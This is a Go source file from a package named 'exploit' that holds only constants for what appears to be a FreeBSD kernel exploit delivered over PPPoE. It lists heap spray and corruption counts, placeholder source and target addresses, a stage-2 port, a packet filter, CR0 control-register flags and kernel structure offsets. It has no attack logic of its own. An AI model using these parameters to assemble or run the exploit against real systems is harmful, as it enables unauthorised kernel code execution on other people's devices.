package exploit

// Exploit constants
const (
	SPRAY_NUM   = 0x1000
	PIN_NUM     = 0x1000
	CORRUPT_NUM = 0x1

	HOLE_START = 0x400
	HOLE_SPACE = 0x10

	LCP_ID  = 0x41
	IPCP_ID = 0x41

	SESSION_ID = 0xffff

	STAGE2_PORT = 9020

	SOURCE_MAC  = "41:41:41:41:41:41"
	SOURCE_IPV4 = "41.41.41.41"
	SOURCE_IPV6 = "fe80::4141:4141:4141:4141"

	TARGET_IPV4 = "42.42.42.42"

	BPF_FILTER = "(ip6) || (pppoed) || (pppoes && !ip)"
)

// FreeBSD constants
const (
	NULL = 0

	PAGE_SIZE = 0x4000

	IDT_UD     = 6
	SDT_SYSIGT = 14
	SEL_KPL    = 0

	CR0_PE = 0x00000001
	CR0_MP = 0x00000002
	CR0_EM = 0x00000004
	CR0_TS = 0x00000008
	CR0_ET = 0x00000010
	CR0_NE = 0x00000020
	CR0_WP = 0x00010000
	CR0_AM = 0x00040000
	CR0_NW = 0x20000000
	CR0_CD = 0x40000000
	CR0_PG = 0x80000000

	CR0_ORI = CR0_PG | CR0_AM | CR0_WP | CR0_NE | CR0_ET | CR0_TS | CR0_MP | CR0_PE

	VM_PROT_READ    = 0x01
	VM_PROT_WRITE   = 0x02
	VM_PROT_EXECUTE = 0x04

	VM_PROT_ALL = (VM_PROT_READ | VM_PROT_WRITE | VM_PROT_EXECUTE)

	LLE_STATIC    = 0x0002
	LLE_LINKED    = 0x0040
	LLE_EXCLUSIVE = 0x2000

	LO_INITIALIZED = 0x00010000
	LO_WITNESS     = 0x00020000
	LO_UPGRADABLE  = 0x00200000
	LO_DUPOK       = 0x00400000

	LO_CLASSSHIFT = 24

	RW_UNLOCKED = 1
	MTX_UNOWNED = 4

	RW_INIT_FLAGS = ((4 << LO_CLASSSHIFT) | LO_INITIALIZED | LO_WITNESS |
		LO_UPGRADABLE)
	MTX_INIT_FLAGS = ((1 << LO_CLASSSHIFT) | LO_INITIALIZED | LO_WITNESS)

	CALLOUT_RETURNUNLOCKED = 0x10

	AF_INET6 = 28

	IFT_ETHER = 0x6

	ND6_LLINFO_NOSTATE = 0xfffe
)

// FreeBSD offsets
const (
	TARGET_SIZE = 0x100

	PPPOE_SOFTC_SC_DEST      = 0x24
	PPPOE_SOFTC_SC_AC_COOKIE = 0x40
	PPPOE_SOFTC_SIZE         = 0x1c8

	LLTABLE_LLTIFP  = 0x110
	LLTABLE_LLTFREE = 0x118

	SOCKADDR_IN6_SIZE = 0x1c
)
